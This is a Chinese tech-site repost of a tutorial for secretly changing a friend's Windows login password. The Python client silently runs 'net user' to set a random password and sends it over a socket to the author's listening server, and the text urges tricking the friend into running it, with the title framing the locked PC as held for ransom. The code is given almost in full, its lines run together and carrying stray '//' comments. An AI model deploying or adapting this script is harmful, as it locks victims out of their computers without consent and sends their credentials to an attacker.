0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

用python脚本来控制小伙伴们windows电脑的开机密码

马哥Linux运维 来源:lq 2019-01-28 15:19 次阅读

今天教大家用python脚本来控制小伙伴们windows电脑的开机密码。没错就是神不知鬼不觉,用random()随机生成的密码,只有你自己知道哦~

代码呢分两部分,一部分是client端跟server端两个。你只需要想办法让小伙伴运行你的client端脚本就OK啦。不过在此之前你一定要在你的电脑上运行server端哦~这样子的话,client端会在你的小伙伴电脑上随机生成一个密码然后通过socket发给server端也就是发给你哦~

下面放代码,顺便加点注释。

client端代码:

# client.py: //文件名import socket //导入用到的模块import getpassimport subprocessimport randomclient = socket.socket(socket.AF_INET, socket.SOCK_STREAM) //创建socket实例client.connect(('10.0.0.1', 44444)) //连接server端IP地址/端口按你自己实际情况来user = getpass.getuser() //获取计算机用户名psd = '' //给一个psd变量(密码)为空for j in range(1, 9): //生成1-9的随机数m = str(random.randrange(0, 10))psd = psd + msubprocess.Popen(['net', 'User', user, psd]) //在本地执行(类似于cmd命令)client.send(psd.encode('utf-8')) //将密码发送给server端back_msg = client.recv(1024)client.close() //关闭socketprint psd //避免出现差错忘记密码 先在本地打印

server端代码:

# server.py //文件名import socket //导入socketserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM) //创建socketserver.bind(('10.0.0.1', 44444)) //绑定IP/端口server.listen(5) //监听print('starting....')conn, addr = server.accept() //连接print(conn)print('client addr', addr)print('ready to recv the passwd...')client_msg = conn.recv(1024)print('client passwd changed: %s' % client_msg)conn.send(client_msg.upper())conn.close()server.close()

OK代码写完后我们开始运行一下程序(推荐在虚拟机下运行,万一出个差错搞不好真忘记密码!切记切记)~

首先先在我的Linux上运行server端,来等待接收来自client端传过来的密码。

运行server.py脚本

然后windows运行client端,它会显示生成的密码

(前提是在cmd命令行下运行否则你双击一下会消失)

cmd下运行

现在再注销或者是重启输入原始密码就会发现密码错误,怎么密码呢也已经发到我们的server端了。

server收到密码

如果你现在想改回密码的话,千万不要关机 打开cmd输入“net user 你的用户名 你要改变的密码” 然后回车就ok了。

好啦,本次文章就写到这啦。大家对什么内容感兴趣欢迎给鄙人留言,鄙人会尽量照顾到大家的口味的~

声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • WINDOWS
    +关注

    关注

    3

    文章

    3438

    浏览量

    87142
  • python
    +关注

    关注

    51

    文章

    4674

    浏览量

    83460
  • 脚本
    +关注

    关注

    1

    文章

    372

    浏览量

    14629

原文标题:用python来更改小伙伴的windows开机密码,不给10块不给开机

文章出处:【微信号:magedu-Linux,微信公众号:马哥Linux运维】欢迎添加关注!文章转载请注明出处。

收藏 人收藏

    评论

    相关推荐

    windows xp开机密码不记得怎么办?

    windows xp开机密码不记得怎么办?一、 由于没有登陆口令,无法进入系统;起初的方法总是选择重新安装Windows XP,但这种方法但繁琐,而且费时费力,经过多次实验之后,终于找到了一个可以
    发表于 09-08 09:12

    如何解开机密码

    如何解开机密码我的一台IBM笔记本thinkpad 1161-96c 被儿子设置了开机密码 ,问他说忘了,急死我了,我好多工作资料在里面。有谁能告诉我怎么解开。可以试试下面的方法,也许可以解除笔记本
    发表于 03-16 09:42

    笔记本开机密码忘记了怎么办,怎么破解电脑开机密码

    ,可能要付出几百元的代价,事实上,如果我们动点脑筋,同样可以破解笔记本开机密码。对于型号较老的笔记本电脑,可以试试下面的方法,也许可以解除笔记本的开机密码:一是改变机器的硬件配置,比如把硬盘取下来,再
    发表于 12-28 15:26

    小伙伴,还在为下不到年鉴而苦恼吗?快来试试这个!

    小伙伴,还在为下不到年鉴而苦恼吗?快来试试这个!夏泽网(www.xiaze.com)收录了很多年鉴,非常齐全。赶快试试吧。
    发表于 10-13 16:59

    怎样取消电脑开机密码

      给电脑设置开机密码很多人都会,但是怎样取消电脑开机密码有些朋友并不知道,其实方法很简单,欧阳兔这就把方法分享给大家。  1.jpg (23.66 KB, 下载次数: 0)    第
    发表于 03-27 19:56

    植物小伙伴

    小伙伴是如何设计的。左上:激光切竹块组成的机器人,恐龙和兔子。中间:机器人与他的脑袋。右上角:恐龙LED照明灯测试。左下:兔子内部电池操作测试.连接土壤探针。右下方:兔子制作。所以现在,我这些朋友
    发表于 09-16 17:14

    数字频率计的小伙伴有没有

    数字频率计的小伙伴有没有
    发表于 08-12 13:36

    【云智易申请】办公桌上的智能小伙伴

    申请理由:我的项目“办公桌上的智能小伙伴”已入围2015中国硬件大赛,其中重要技术Wifi的接入是关键,想通过贵公司的开发板学习一下。项目描述:1.本产品是基于建立智能办工桌的思路进行研发的一款
    发表于 08-15 01:10

    超全面!破解window开机密码的方法!

    密码即可,然后保存推出,重新开机就可以密码登录window10pc电脑系统了装机员, 系统, wi
    发表于 06-03 14:40

    开机密码

    基于普中开发板设计的开机密码锁,功能如下:上电显示----,密码输入正确,停留0.5秒然后显示按键值,10秒没有操作或者密码输入错误都返回----,适合想把数码管和按键结合起来的学习,还有不同的窗口。
    发表于 11-29 14:36

    小伙伴帮忙看看这个电路

    小伙伴,谁能帮忙看下附件图片的这部分电路,不是太懂。。。多谢多谢!~
    发表于 03-23 11:12

    如何解开机密码

    如何解开机密码 我的一台IBM笔记本thinkpad 1161-96c 被儿子设置了开机密码 ,问他说忘了,急死我了,我好多工作资料在里面。有谁能告
    发表于 01-23 14:20 1277次阅读

    巧解任何电脑开机密码(小小一招就搞定)

    巧解任何电脑开机密码(小小一招就搞定) 小小一招巧解任何电脑开机密码,无需任何工具,无需放电 任
    发表于 02-25 10:57 752次阅读

    Windows密码修改解除开机密码工具NTPWEdit应用程序免费下载

    本文档的主要内容详细介绍的是Windows密码修改解除开机密码工具NTPWEdit 应用程序免费下载。
    发表于 04-15 08:00 5次下载

    如何取消电脑开机密码,具体设置方法的介绍

    品牌型号:联想天逸510S2020; 系统:win10190964位企业版, 部分用户可能电脑型号不一样,但系统版本一致都适合该方法。 取消电脑开机密码怎么设置方法呢?给大家分享一下怎么取消
    发表于 03-25 15:30 5183次阅读